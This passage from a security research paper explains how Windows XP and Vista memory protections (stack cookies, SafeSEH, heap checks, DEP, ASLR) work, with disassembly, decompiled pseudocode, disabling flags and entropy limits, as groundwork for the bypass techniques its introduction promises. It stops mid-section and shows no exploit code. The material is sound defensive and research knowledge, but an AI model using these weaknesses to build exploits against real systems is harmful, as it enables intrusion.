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Introduction 

Over the past several years, Microsoft has implemented a number of memory protection 

mechanisms with the goal of preventing the reliable exploitation of common software 

vulnerabilities on the Windows platform. Protection mechanisms such as GS, SafeSEH, DEP and 

ASLR complicate the exploitation of many memory corruption vulnerabilities and at first sight 
present an insurmountable obstacle for exploit developers. 

In this paper we will discuss the limitations of all aforementioned protection mechanisms and will 

describe the cases in which they fail. We aim to show that the protection mechanisms in 

Windows Vista are particularly ineffective for preventing the exploitation of memory corruption 

vulnerabilities in browsers. This will be demonstrated with a variety of exploitation techniques 

that can be used to bypass the protections and achieve reliable remote code execution in many 

different circumstances. 

Organization of this paper 

This paper is divided into three parts. Part 1 describes the design and implementation of the 

protection mechanisms that will be the focus of the remainder of the paper. This section contains 

all the necessary background information about the available protection mechanisms on Windows 

XP and Vista. Part 2 discusses the limitations of these protections and presents the theory behind 

the techniques that we will employ to bypass them. Finally, in Part 3 of the paper we show how 

the theoretical techniques outlined in Part 2 can be utilized to produce robust and reliable 

exploits that work effectively in realistic environments. Since real-world exploitation requires 

bypassing multiple memory protections, we will present several ways in which these techniques 

can be combined to achieve remote code execution. 

 



Part 1. Memory protection mechanisms in Windows 

A very thorough, and accurate, write-up of the current state of our mitigations as they 
apply to programmable, extensible apps. -- Microsoft SWIScience team 

This section provides an overview of the memory protection mechanisms available on the 

Windows platform. Most of the discussion in this paper will focus on Windows Vista SP1, but it is 

important to be aware of the differences in the protection mechanisms available in different 
version of Windows. The following table provides a summary of these differences: 

 XP 

SP2, SP3 

2003 

SP1, SP2 

Vista 

SP0 

Vista 

SP1 

2008 

SP0 

GS 
     

stack cookies yes yes yes yes yes 

variable reordering yes yes yes yes yes 

#pragma strict_gs_check no no no yes 1 yes 1 

SafeSEH 
     

SEH handler validation yes yes yes yes yes 

SEH chain validation no no no yes 2 yes 

Heap protection 
     

safe unlinking yes yes yes yes yes 

safe lookaside lists no no yes yes yes 

heap metadata cookies yes yes yes yes yes 

heap metadata encryption no no yes yes yes 

DEP 
     

NX support yes yes yes yes yes 

permanent DEP no no no yes yes 

OptOut mode by default no yes no no yes 

ASLR 
     

PEB, TEB yes yes yes yes yes 

heap no no yes yes yes 

stack no no yes yes yes 

images no no yes yes yes 

1 only some components, most notably the AVI and PNG parsers 
2 undocumented, disabled by default  



GS 

Stack cookies 

The /GS option of the Visual C++ compiler enables run-time detection of stack buffer overflows. 

If the option is enabled, the compiler stores a random value on the stack between the local 

variables and return address of a function. This value is known as a stack cookie. If an attacker 

exploits a buffer overflow to overwrite the return address of a function, they will also overwrite 

the cookie, changing its value. This is detected in the epilogue of the function and the program 
aborts before the modified return address is used. 

A typical prologue and epilogue of a function protected by /GS is shown below: 

; prologue 

 

push    ebp 

mov     ebp, esp 

sub     esp, 214h 

mov     eax, ___security_cookie ; random value, initialized at module startup 

xor     eax, ebp                ; XOR it with the current base pointer 

mov     [ebp+var_4], eax        ; store the cookie 

 

... 

 

; epilogue 

 

mov     ecx, [ebp+var_4]        ; get the cookie from the stack 

xor     ecx, ebp                ; XOR the cookie with the current base pointer 

call    __security_check_cookie ; check the cookie 

leave 

retn    0Ch 

 

; __fastcall __security_check_cookie(x) 

 

cmp     ecx, ___security_cookie 

jnz     ___report_gsfailure     ; terminate the process 

rep retn 

#pragma strict_gs_check 

The extra prologue and epilogue code can add a significant overhead to small functions. The gs-

perf test program in Appendix A shows a worst case slowdown of 42%. To minimize the 

performance impact of the /GS option, the compiler adds the stack cookie only to functions that 
contain string buffers or allocate memory on the stack with _alloca. 

Since the C language has no native string type, the compiler defines a string buffer as an array 

of 1 or 2 byte elements with a total size of at least 5 bytes. The GS protection is applied to all 

functions with arrays that match this description. For example, the following variables will cause 

the functions containing them to be protected by GS: 

char  a[5];     // protected, 5 byte array of elements of size 1 

short b[3];     // protected, 6 byte array of elements of size 2 

 



struct { 

    char a; 

} c[5];         // protected, 5 byte array of elements of size 1 

 

struct { 

    char a[5]; 

} d;            // protected because the structure contains a string buffer 

Functions that don't use _alloca and don't contain variables considered to be string buffers are 

not protected by GS. For example, the variables below will not trigger the GS heuristic: 

char  e[4];     // not protected, total size is less than 5 bytes 

int   f[10];    // not protected, array element size greater than 2 

char* g[10];    // not protected, array element size greater than 2 

 

struct { 

    char a; 

    short b; 

} h[5];         // not protected, array element size greater than 2 

 

struct { 

    char a1; 

    char a2; 

    char a3; 

    char a4; 

    char a5; 

} i;            // not protected, the structure does not contain a string buffer 

Visual Studio 2005 SP1 introduced a new compiler directive that enables more aggressive GS 

heuristics. If the strict_gs_check pragma is turned on, the compiler adds a GS cookie to all 

functions that use the address of a local variable. This includes array dereferences, pointer 

arithmetic and passing the address of a local variables to other functions. This results in a much 
more complete protection at the expense of runtime performance. 

Variable reordering 

The main limitation of the GS protection is that it detects buffer overflows only when the function 

with the overwritten stack cookie returns. If any other overwritten data on the stack is used by 

the function, the attacker might be able to take control of the execution before the GS cookie is 
checked. 

To prevent the attacker from overwriting local variables or arguments used by the function, the 

compiler modifies the layout of the stack frame. It reorders the local variables, placing string 

buffers at higher addresses than all other variables. This ensures that a string buffer overflow 

cannot overwrite any other local variables. Function arguments that contain pointers or string 

buffers (called vulnerable arguments in the compiler documentation) are protected by allocating 

extra space on the stack and copying their values below the local variables. The original 
argument values located after the return address are not used in the rest of the code. 

The following diagram shows the stack frame layout of a vulnerable function with and without GS 
protection: 



 

vuln.c standard stack frame stack frame with /GS 

void vuln(char* arg) 

{ 

    char buf[100]; 

    int i; 

 

    strcpy(buf, arg); 

 

    ... 

}       

buf 

i 

return address 

arg 

         

copy of arg 

i 

buf 

stack cookie 

return address 

arg 

         

Without GS a buffer overflow of the buf variable will allow the attacker to overwrite i, the return 

address and the arg argument. Enabling GS adds a stack cookie, moves i out of the way and 

creates a copy of arg. The original argument can still be overwritten, but it is no longer used by 

the function. The attacker has no way of taking control of the execution before the cookie check 
detects the overflow and terminates the program. 

SafeSEH 

SEH handler validation 

The SafeSEH protection mechanism is designed to prevent attackers from taking control of the 

program execution by overwriting an exception handler record on the stack. If a binary is linked 

with the /SafeSEH linker option, its header will contain a table of all valid exception handlers 

within that module. When an exception occurs, the exception dispatcher code in NTDLL.DLL 

verifies that the exception handler record on the stack points to one of the valid handlers in the 

table. If the attacker overwrites the exception handler record and points it somewhere else, the 
exception dispatcher will detect this and terminate the program. 

The validation of the exception handler record begins in the RtlDispatchException function. Its 

first task is to make sure that the exception record is located on the stack of the current thread 

and is 4-byte aligned. This prevents the attacker from overwriting the Next field of a record and 

pointing it to a fake record on the heap. The function also verifies that the exception handler 

address does not point to the stack. This check prevents the attacker from jumping directly to 
shellcode on the stack. 

void RtlDispatchException(...) 

{ 

    if (exception record is not on the stack) 

        goto corruption; 

 

    if (handler is on the stack) 

        goto corruption; 

 

    if (RtlIsValidHandler(handler, process_flags) == FALSE) 

        goto corruption; 

 

    // execute handler 

 

    RtlpExecuteHandlerForException(handler, ...) 

 

    ... 

} 



The exception handler address is validated further by the RtlIsValidHandler function. The 

pseudocode of this function in Vista SP1 is shown below: 

BOOL RtlIsValidHandler(handler) 

{ 

    if (handler is in an image) { 

        if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set) 

            return FALSE; 

 

        if (image has a SafeSEH table) 

            if (handler found in the table) 

                return TRUE; 

            else 

                return FALSE; 

 

        if (image is a .NET assembly with the ILonly flag set) 

            return FALSE; 

 

        // fall through 

    } 

 

    if (handler is on a non-executable page) { 

        if (ExecuteDispatchEnable bit set in the process flags) 

            return TRUE; 

        else 

            raise ACCESS_VIOLATION; // enforce DEP even if we have no hardware NX 

    } 

 

    if (handler is not in an image) { 

        if (ImageDispatchEnable bit set in the process flags) 

            return TRUE; 

        else 

            return FALSE;           // don't allow handlers outside of images 

    } 

 

    // everything else is allowed 

 

    return TRUE; 

} 

The ExecuteDispatchEnable and ImageDispatchEnable bits are part of the process execution flags 

in the kernel KPROCESS structure. These two bits control whether the exception dispatcher will 

call handlers located in non-executable memory or outside of an image. The two bits can be 

changed at runtime, but by default they are both set for processes with DEP disabled and cleared 
for processes with DEP enabled. 

In processes with DEP enabled there are two types of exception handlers that are considered 
valid by the exception dispatcher: 

1. handler found in the SafeSEH table of an image without the NO_SEH flag 

2. handler on an executable page in an image without the NO_SEH flag, without a SafeSEH 

table and without the .NET ILonly flag 

In processes with DEP disabled there are three valid cases: 

1. handler found in the SafeSEH table of an image without the NO_SEH flag 

2. handler in an image without the NO_SEH flag, without a SafeSEH table and without the 

.NET ILonly flag 
3. handler on a non-image page, but not on the stack of the current thread 



SEH chain validation 

Windows Server 2008 introduced a new SEH protection mechanism that detects exception 

handler record overwrites by validating the SEH linked list. The idea for this SEH protection was 

first described in the Uninformed article Preventing the Exploitation of SEH Overwrites by Matt 

Miller and adopted later by Microsoft. This protection mechanism is enabled by default on 

Windows Server 2008. It is also available on Vista SP1, but is not turned on by default. It can be 

enabled by setting the undocumented registry key HKLM\SYSTEM\CurrentControlSet\Control\ 
Session Manager\kernel\DisableExceptionChainValidation to 0. 

When this protection mechanism is enabled, the FinalExceptionHandler function in NTDLL.DLL is 

registered as the first exception handler in all theads. As additional exception handlers are 

registered, they form a linked list with the last record always pointing to FinalExceptionHandler. 

The exception dispatcher walks this linked list and verifies that the last record still points to that 

function. If an attacker overwrites the Next field of an exception handler record, the validation 
loop will not reach the last record and the SEH chain corruption will be detected. 

One potential way to bypass this protection is to point the overwritten Next pointer to a fake SEH 

record that points to the FinalExceptionHandler function. However, the ASLR implementation in 

Vista randomizes the address of the function and makes it impossible to for an attacker to 

terminate the SEH chain unless they have a way to bypass ASLR. 

The SEH chain validation is implemented in the RtlDispatchException. The following pseudocode 
is from Vista SP1: 

// Skip the chain validation if the DisableExceptionChainValidation bit is set 

if (process_flags & 0x40 == 0) { 

 

    // Skip the validation if there are no SEH records on the linked list 

    if (record != 0xFFFFFFFF) { 

 

        // Walk the SEH linked list 

        do { 

            // The record must be on the stack 

            if (record < stack_bottom || record > stack_top) 

                goto corruption; 

 

            // The end of the record must be on the stack 

            if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top) 

                goto corruption; 

 

            // The record must be 4 byte aligned 

            if ((record & 3) != 0) 

                goto corruption; 

 

            handler = record->handler; 

 

            // The handler must not be on the stack 

            if (handler >= stack_bottom && handler < stack_top) 

                goto corruption; 

 

            record = record->next; 

        } while (record != 0xFFFFFFFF); 

 

        // End of chain reached 

 

        // Is bit 9 set in the TEB->SameTebFlags field? This bit is set in 

        // ntdll!RtlInitializeExceptionChain, which registers 

        // FinalExceptionHandler as an SEH handler when a new thread starts. 

http://www.uninformed.org/?v=5&a=2&t=sumry


 

        if ((TEB->word_at_offset_0xFCA & 0x200) != 0) { 

 

            // The final handler must be ntdll!FinalExceptionHandler 

            if (handler != &FinalExceptionHandler) 

                goto corruption; 

        } 

    } 

} 

SEH chain validation is disabled for executables with MajorLinkerVersion and MinorLinkerVersion 

in the PE header set to 0x53 and 0x52 respectively, indicating an Armadillo protected binary. 

This check is performed in the LdrpIsImageSEHValidationCompatible function during process 

initialization. When a new DLL is loaded, a similar check in LdrpCheckNXCompatibility disables 
SEH chain validation if the DLL being loaded has that same incompatible linker version. 

Heap protection 

The standard exploitation method for heap overflows in older versions of Windows is to overwrite 

the header of a heap chunk and create a fake free block with flink and blink pointers controlled 

by the attacker. When this free block is allocated or coalesced with other free blocks, the 

memory allocator will write the value of the flink pointer at the address specified in the blink 

pointer. This allows the attacker to perform an arbitrary 4-byte write anywhere in memory, 

which can easily lead to shellcode execution. 

The heap protection mechanisms in Windows XP SP2 and Windows Vista are designed to stop 

this exploitation technique. 

Safe unlinking 

Starting in Windows XP SP2 the heap allocator implements safe unlinking when removing chunks 

from the free list. Before using the flink and blink pointers, it verifies that both flink->blink and 

blink->flink point to the current heap block. This prevents the attacker from pointing flink or 

blink to arbitrary memory locations and using the unlink operation to do an arbitrary 4-byte 

write. 

Heap metadata cookies and encryption 

In addition to the safe unlinking, the allocator in XP SP2 stores a single byte cookie in the header 

of each heap chunk. This cookie is checked when the chunk is removed from the free list. If the 

heap chunk header has been overwritten, the cookie will not match and the heap allocator will 
detect this as heap corruption. 

In Windows Vista the cookie is supplemented by heap metadata encryption. All important fields 
in the heap header are XORed with a random 32-bit value and are decrypted before being used. 

The cookies and the metadata encryption are very effective at preventing the attacker from 

abusing overwritten heap chunk headers or creating fake chunks on the heap. 



DEP 

Data Execution Prevention (DEP) is a protection mechanism that prevents the execution of code 

in memory pages marked non-executable. By default, the only executable pages in a Windows 

process are the ones that contain the text sections of the executable and the loaded DLL files. 

Enabling DEP prevents the attacker from executing shellcode on the stack, heap or in data 
sections. 

If DEP is enabled and the program attempts to execute code on a non-executable page, an 

access violation exception will be raised. The program gets a chance to handle this exception, 

but most programs that expect all memory to be executable will simply crash. If a program 

needs to execute code on the heap or the stack, it needs to use the VirtualAlloc or VirtualProtect 
functions to explicitly allocate executable memory or mark existing pages executable. 

Hardware support for NX 

Even though the Windows memory manager code always keeps track of which pages are 

supposed to be non-executable, the traditional x86 architecture supports non-executable 

memory only when segmentation is used to enforce memory protection. Like all other modern 

operating systems, Windows uses a flat memory model with page-level protection instead of 

segmentation. The page table entries on x86 have only a single bit that describes the page 

protection. If the bit is set, the page is writable, otherwise it is read-only. Since there is no bit to 
control execution, all pages on the system are considered executable by the CPU. 

This oversight in the x86 architecture was corrected in CPUs released after 2004 by adding a 

second protection bit in the page table entries. This bit is known as the NX bit (No eXecute) and 

using it requires support by the operating system. Windows has been able to take advantage of 
the NX bit since the release of Windows XP SP2. 

If the CPU does not support hardware NX, Windows uses a very limited form of DEP called 

Software DEP. It is implemented as an extra check in the exception dispatcher which ensures 

that the SEH handler is located on an executable page. This is the extent of Software DEP. Since 

all modern CPUs have support for hardware NX and the Software DEP feature is trivially 

bypassable anyways, we will focus only on the hardware-enforced DEP protection. 

DEP policies 

Due to the large number of application compatibility problems with DEP, this protection is not 

enabled by default for all processes on the system. The administrator can choose between four 

possible DEP policies, which are set in the boot.ini file on Windows XP or in the boot configuration 
on Vista: 

 OptIn  

This is the default setting on Windows XP and Vista. In this mode DEP protection is 

enabled only for system processes and applications that explicitly opt-in. All other 

processes get no DEP protection. DEP can be turned off at runtime by the application, or 
by the loader if an incompatible DLL is loaded. 

To opt-in an application on Windows XP, the administrator needs to create an entry in the 

system application compatibility database and apply the AddProcessParametersFlags 



compatibility fix as described in the documentation by Microsoft. On Vista all applications 
that are compiled with the /NXcompat linker option are automatically opted-in. 

 OptOut  

All processes are protected by DEP, except for the ones that the administrator adds to an 

exception list or are listed in the application compatibility database as not compatible 

with DEP. This is the default setting on Windows Server 2003 and Windows Server 2008. 

DEP can be turned off at runtime by the application, or by the loader if an incompatible 
DLL is loaded. 

 AlwaysOn  

All processes are protected by DEP, no exceptions. Turning off DEP at runtime is not 
possible. 

 AlwaysOff  

No processes are protected by DEP. Turning on DEP at runtime is not possible. 

On 64-bit versions of Windows, DEP is always turned on for 64-bit processes and cannot be 

disabled. However, Internet Explorer on Vista x64 is still a 32-bit process and is subject to the 
policies described above. 

Enabling or disabling DEP at runtime 

The DEP settings for a process are stored in the Flags bitfield of the KPROCESS structure in the 

kernel. This value can be queried and set with NtQueryInformationProcess and 

NtSetInformationProcess, information class ProcessExecuteFlags (0x22), or with a kernel 

debugger. The output below shows the process flags of an Internet Explorer process on Vista 
SP1: 

lkd> !process 0 0 iexplore.exe 

PROCESS 83d29470  SessionId: 1  Cid: 0fec    Peb: 7ffd9000  ParentCid: 06dc 

    DirBase: 1f105440  ObjectTable: 91b69b28  HandleCount: 376. 

    Image: iexplore.exe 

 

lkd> dt nt!_KPROCESS 83d29470 -r 

   +0x06b Flags            : _KEXECUTE_OPTIONS 

      +0x000 ExecuteDisable   : 0y0 

      +0x000 ExecuteEnable    : 0y1 

      +0x000 DisableThunkEmulation : 0y0 

      +0x000 Permanent        : 0y0 

      +0x000 ExecuteDispatchEnable : 0y1 

      +0x000 ImageDispatchEnable : 0y1 

      +0x000 DisableExceptionChainValidation : 0y1 

      +0x000 Spare            : 0y0 

Of these flags, only the first four are relevant to DEP. The first flag, ExecuteDisable is set if DEP 

is enabled. This might seem counterintuitive, but the flag's meaning really is "disable execution 

from non-executable memory". Conversely, the ExecuteEnable flag is set when DEP is disabled. 

It should be noted that in OptOut mode both ExecuteEnable and ExecuteDisable are set to 0, but 
DEP is still enabled. DisableThunkEmulation controls the ATL thunk emulation mode that will be 

discussed in the next section. Finally, the Permanent flag indicates that the execute options are 

http://technet.microsoft.com/en-us/library/bb490630.aspx
http://msdn.microsoft.com/en-us/library/ms235442(VS.80).aspx


final and cannot be further changed. This is used to prevent exploits from calling 

NtSetInformationProcess to disable DEP before jumping to shellcode on the stack. Such an attack 

was presented by skape and Skywing in Uninformed vol.2. On Vista, the permanent flag is 

automatically set for all executables linked with the /NXcompat linker option immediately after 
the loader enables DEP. 

Windows XP SP3 and Vista SP1 introduced a new API for querying and setting the DEP policy of a 

process. The SetProcessDEPPolicy, GetProcessDEPPolicy and GetSystemDEPPolicy functions 

should be used instead of the undocumented NtQueryInformationProcess and 
NtSetInformationProcess where they are available. 

When a new DLL is loaded into a process that does not have the Permanent flag set, the loader 

performs a series of checks to determine if the DLL is compatible with DEP. If the DLL is 

determined to be incompatible, DEP protection is disabled for this process. The checks are 

performed by the LdrpCheckNXCompatibility function which looks for three types of DLLs that are 
known to be incompatible with DEP: 

1. DLLs that have secserv.dll as the name in the export directory table, and have 2 

sections named .txt and .txt2. These are DLLs are protected by the SafeDisc copy-

protection system which is not compatible with DEP. 

2. DLLs that are listed in the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows 

NT\CurrentVersion\Image File Execution Options\DllNXOptions registry key. This key 

contains a list of DLLs that are known to be incompatible. 

3. DLLs with a section named .aspack, .pcle or .sforce. These section names indicate 

packers or software protectors that are known to be incompatible. 

If the DLL being loaded was linked with the /NXcompat linker option and has the 

IMAGE_DLL_CHARACTERISTICS_NX_COMPAT flag set, the checks described above are skipped 

and DEP is not disabled. This allows vendors of DLLs incompatible with DEP to mark new versions 

of their software as compatible and get the benefits of DEP protection. 

Thunk Emulation 

One of the biggest problems with enabling DEP is that some applications will simply not work, 

since they rely on some code to be executed from writeable memory. It turns out that many 

applications that behave this way do so because older versions of the ATL library shipped by 

Microsoft use small code thunks on the heap. Since the ATL libraries are used extensively by 

third party vendors Microsoft decided to provide a "cheat" to enable ATL code to function in DEP 

environments. When a program attempts to execute code on a non-executable page, the kernel 

calls KiEmulateAtlThunk() to check if this is a result of a well known instruction sequence used as 
an ATL thunk. The function proceeds as follows: 

1. If bytes that the program is trying to execute don't match one of the five known thunks, 

allow the system to raise the access violation exception. 

2. If an ATL thunk is identified, verify whether it appears to be valid or not. The most 

important aspect of this is checking that the address being executed is not part of an 

image, and that the target IP of the branch instruction in the thunk is inside a valid 

image. If the thunk is invalid, continue with DEP exception as normal. 

3. If the thunk is valid, "manually" emulate the thunk and continue the process as if nothing 

happened. Since the target of the branch is a valid image, the execution will continue 
without any danger of executing code on a non-executale page. 

http://www.uninformed.org/?v=2&a=4
http://msdn.microsoft.com/en-us/library/bb736299(VS.85).aspx
http://msdn.microsoft.com/en-us/library/bb736297(VS.85).aspx
http://msdn.microsoft.com/en-us/library/bb736297(VS.85).aspx
http://en.wikipedia.org/wiki/SafeDisc


The known ATL thunks that get emulated are listed below: 

C7 44 24 04 XX XX XX XX   mov [esp+4], imm32 

E9 YY YY YY YY            jmp imm32 

 

B9 XX XX XX XX            mov ecx, imm32 

E9 YY YY YY YY            jmp imm32 

 

BA XX XX XX XX            mov edx, imm32 

B9 YY YY YY YY            mov ecx, imm32 

FF E1                     jmp ecx 

 

B9 XX XX XX XX            mov ecx, imm32 

B8 YY YY YY YY            mov eax, imm32 

FF E0                     jmp eax 

 

59                        pop ecx 

58                        pop eax 

51                        push ecx 

 

FF 60 04                  jmp [eax+4] 

ASLR 

Address Space Layout Randomization (ASLR) is a security feature that randomizes the addresses 

where objects are mapped in the virtual address space of a given process. When implemented 

correctly, ASLR provides a significant hurdle to a would-be attacker, since they will not know the 

precise location of an interesting address to overwrite. Furthermore, even if an attacker is able to 

overwrite a useful pointer in memory (such as a saved instruction pointer on the stack), pointing 
it to something of value will also be difficult. 

Although the concept of ASLR is not new, it is a relatively recent addition to the Windows 

platform. Vista and Windows Server 2008 are the first operating systems in the Windows family 

to provide ASLR natively. Previous to these releases, there were a number of third party 

solutions available that provided ASLR functionality to varying degrees. This paper will focus on 
Vista's native implementation. 

Vista's ASLR randomizes the location of images (PE files mapped into memory), heaps, stacks, 

the PEB and TEBs. The details of the randomization of each of these components are presented 
in the following sections. 

Image randomization 

Image positioning randomization is designed to place images at a random location in the virtual 

address space of each process. Vista's ASLR has the capability to randomly position both 

executables and DLLs. Note that in order for a library or an executable to be randomly rebased, 

there are several conditions that need to be met; these will be discussed shortly. Before talking 

about the specifics, it is worth mentioning that there is a system-wide configuration parameter 

that determines the behaviour of Vista's image randomization. This parameter can be set in the 

registry key HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ 
MoveImages, which by default does not exist. This key has three possible settings: 

 If the value is set to 0, never randomize image bases in memory, always honour the base 

address specified in the PE header. 



 If set to -1, randomize all relocatable images regardless of whether they have the 

IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE flag or not. 

 If set to any other value, randomize only images that have relocation information and are 

explicitly marked as compatible with ASLR by setting the 

IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE (0x40) flag in DllCharacteristics field 

the PE header. This is the default behaviour. 

Executable randomization 

When a new address is being selected as an image base for an executable, a random delta value 

is added to or subtracted from the ImageBase value in the executable's PE header. This delta 

value is calculated by taking a random 8-bit value from the RDTSC counter and multiplying it by 

64KB, which is the required image alignment on Windows. The result is that the image is loaded 

at a random 64KB aligned address within 16 MB of the preferred image base. It is important to 

note that the delta is never 0, which means that the executable is never loaded at the image 
base specified in the PE header. 

On Vista SP0, there are 255 possible deltas ranging from 0x010000 to 0xFF0000. Due to a bug 

in way the delta is calculated, the value 0x010000 has a probability of 2/256 while all other 

values have a probability of 1/256. This is fixed on Vista SP1, where the values range from 

0x010000 to 0xFE0000 and each one has an equal probability (1/254) of being selected. The 

following pseudocode shows the details of the image base calculation in the MiSelectImageBase 
function: 

if ((nt_header->Characteristics & IMAGE_FILE_DLL) == 0) 

{ 

 

RelocateExe: 

 

    // Get the RDTSC counter and calculate the random offset 

 

#ifdef VISTA_SP0 

 

    // Delta calculation on Vista SP0 

 

    unsigned int Delta = (RDTSC & 0xFF) * 0x10000; 

 

    // We don't allow offset 0, replace it with offset 0x10000 

 

    if (Delta == 0) 

        Delta = 0x10000; 

 

    // Delta ranges from 0x010000 to 0xFF0000 

 

#else 

 

    // Delta calculation on Vista SP1 

 

    unsigned int Delta = (((RDTSC >> 4) % 0xFE) + 1) * 0x10000; 

 

    // Delta ranges from 0x010000 to 0xFE0000 

 

#endif 

 

    // Validate the original image base and image size 

 

    dwImageSize = image size rounded up to 64KB 



    dwImageEnd  = dwImageBase + dwImageSize; 

 

    if (dwImageBase >= MmHighestUserAddress || 

        dwImageSize >  MmHighestUserAddress || 

        dwImageEnd  <= dwImageBase          || 

        dwImageEnd  >  MmHighestUserAddress) 

        return 0; 

 

    // When the last reference to an image section goes away, it doesn't get 

    // discarded immediately and may be reactivated if the image is loaded 

    // again soon after. If that happens, then we apply a further delta to the 

    // existing delta (stored in arg0->dwOffset14) and this check ensures that 

    // we don't end up double-relocating back to the on-disk base address. 

 

    if (arg0->dwOffset14 + Delta == 0) 

        return dwImageBase; 

 

    // To get the new base, we subtract Delta from the old image base. If the 

    // old image base is too low and we add Delta instead 

 

    if (dwImageBase > Delta) { 

        dwNewBase = dwImageBase - Delta;  // subtract Delta 

    } 

    else { 

        dwNewBase = dwImageBase + Delta;  // add Delta 

 

        // Validate the new image base 

 

        if (dwNewBase < dwImageBase || 

            dwNewBase + ImageSize > MmHighestUserAddress) ||  

            dwNewBase + ImageSize < dwImageBase + ImageSize) 

            return 0; 

    } 

 

    ... 

 

    // relocate the image to the new base 

 

    return dwNewBase; 

} 

DLL randomization 

The randomization of base addresses for DLLs is slightly different from the one for executables. 

Since Windows relies on relocations instead of position independent code, a DLL must be loaded 

at the same address in each process that uses it to allow the physical memory used by the DLL 

to be shared. To facilitate this behaviour, a global bitmap called _MiImageBitMap is used to 

represent the address space from 0x50000000 to 0x78000000. The bitmap is 0x2800 bits in 

length with each bit representing 64KB of memory. As each DLL is loaded, its position is 

recorded by setting the appropriate bits in the bitmap to mark the memory where the DLL is 

being mapped. When the same DLL is loaded in another process, its section object is reused and 
it is mapped at the same virtual addresses. 

The following pseudocode from the MiSelectImageBase function shows the details of selecting a 

random image base for a DLL. It is called both for DLLs that have the 

IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE flag and for DLLs that need to be rebased 

because their preferred image base is not available: 



if ((nt_header->Characteristics & IMAGE_FILE_DLL) == 0) 

{ 

 

RelocateExe: 

 

    ... 

} 

else 

{ 

    // Relocate DLLs 

 

    usImageSizeIn64kbBlocks = ImageSize / 64KB 

 

    // Find the required number of bits in the bitmap and set them 

 

    dwStartIndex = RtlFindClearBitsAndSet( 

                       MiImageBitMap,            // bitmap 

                       usImageSizeIn64kbBlocks,  // number of bits 

                       MiImageBias);             // where to start looking 

 

    // If we cannot find enough empty bits, relocate the DLL within 16MB of the 

    // image base specified in the PE header 

 

    if(dwStartIndex == 0xFFFFFFFF) 

        goto RelocateExe; 

 

    // Calculate the new image base 

 

    dwEndIndex = dwStartIndex + usImageSizeIn64kbBlocks; 

    dwNewBase  = MiImageBitMapHighVa - dwEndIndex * 64KB;  

 

    if (dwNewBase == dwImageBase) 

    { 

        // If the new image base is the same as the image base in the PE 

        // header, we need to repeat the search in the bitmap. Since the bits 

        // for the current DLL position are already set, we're guaranteed to 

        // get a new position 

 

        dwNewStartIndex = RtlFindClearBitsAndSet( 

                              MiImageBitMap,           // bitmap 

                              usImageSizeIn64kbBlocks, // number of bits 

                              dwEndIndex);             // hint 

 

        // If the search was successful, clear the bits from the first search 

 

        if (dwNewStartIndex != 0xFFFFFFFF) 

            RtlClearBits(MiImageBitMap, dwStartIndex, usImageSizeIn64kbBlocks); 

 

        // Calculate the new image base 

 

        dwEndIndex = dwNewStartIndex + usImageSizeIn64kbBlocks; 

        dwNewBase  = MiImageBitMapHighVa - dwEndIndex * 64KB;  

    } 

 

    ... 

 

    return dwNewBase; 

} 

The MiImageBias value used by MiSelectImageBase is an 8-bit random value initialized with the 

RDTSC instruction once per boot, in the MiInitializeRelocations function. It is used as a random 

offset from the beginning of the MiImageBitMap bitmap and specifies the address where the 



search for the new DLL image base starts from. In effect, this means that the first DLL loaded 

into the address space will end at 0x78000000 - MiImageBias*64KB (MiImageBitMap starts at 

MiImageBitMapHighVa and extends towards lower addresses, so it is backwards), and additional 

DLLs will be placed one after the other following the first one. The MiSelectImageBase function 
ensures that a DLL is never loaded at the image base specified in the PE header. 

Since MiImageBias has only 256 possible values, there are only 256 possible locations for the 

first DLL loaded on the system (NTDLL.DLL). However, the exact location of the subsequent DLLs 

depends both on the address of NTDLL.DLL and the order in which the DLLs are loaded. To 

increase the randomness of the known system DLLs, they are loaded in random order by the 
SmpRandomizeDllList function in the SMSS system process early in the boot process.  

Heap randomization 

Part of Microsoft's ASLR strategy involves randomizing where a heap created with the 

RtlHeapCreate function begins in memory. In the past, a newly created heap (including the 

default process heap) was created using the NtAllocateVirtualMemory function, which does a 

linear address space search starting at a point chosen by the caller. The heap begins with a 

sizeable data structure that has a number of elements that have been abused to exploit heap 

overflows in the past. Allocating a heap with NtAllocateVirtualMemory doesn't actually guarantee 

that it will be statically positioned, but in practice it nearly always resided at a predictable 

location. In Vista, some randomness has been added to the allocation process in order to make 

things harder for a would-be attacker. This randomization takes place during the early stages of 

RtlHeapCreate. Essentially, a 5-bit random value is generated and then multiplied by 64K. This 

value is then used as an offset from the base address returned by the NtAllocateVirtualMemory 

where the heap data structure will begin. The memory in the block before this offset is 
subsequently freed. The following pseudocode demonstrates this process. 

LPVOID lpAllocationBase = NULL, lpHeapBase = NULL; 

DWORD dwRandomSize = (_RtlpHeapGenerateRandomValue64() & 0x1F) << 16; 

 

// Integer overflow check, however this allocation would fail anyway 

if(dwRegionSize + dwRandomSize < dwSize) 

    dwRandomSize = 0; 

 

dwRegionSize += dwRandomSize; 

 

if(NtAllocateVirtualMemory(NtCurrentProcess(), &lpAllocationBase, 0, 

                           &dwRegionSize, MEM_RESERVE, dwProtectionMask) < 0) 

    return NULL; 

 

lpHeapBase = lpAllocationBase; 

 

if(dwRandomSize && 

   _RtlpSecMemFreeVirtualMemory(INVALID_HANDLE_VALUE, &lpAllocationBase, 

                                &dwRandomSize, MEM_RELEASE) >= 0) 

{ 

    lpHeapBase += (LPBYTE)lpAllocationBase + dwRandomSize; 

    dwRegionSize -= dwRandomSize; 

} 

The idea is that even if NtAllocateVirtualMemory returns a predictable location, this random 

offset will give the attacker only a 1/32 chance of guessing the correct location of the base heap 

structure. Additionally, since the memory before the random offset is released, there is a good 
chance that an invalid guess will result in an immediate access violation. Note that since the 



random value is multiplied by 64K, offsets for the start of the heap range from 0 to 0x1F0000 in 
64K increments (making the maximum offset from the returned base address close to 2MB). 

Stack randomization 

Vista also adds some entropy to the location of stacks for all threads within a given process. The 

stack randomization is twofold; the base of the stack is chosen randomly, and an offset into the 

initial page where the stack starts getting used is also chosen at random, so that targeting 

precise values on the stack will often not be a viable option. The stack base is chosen by 

searching through the virtual address space for a suitable size hole, where hole is defined as a 

consecutive series of pages not mapped into memory. Entropy is added to this process by 

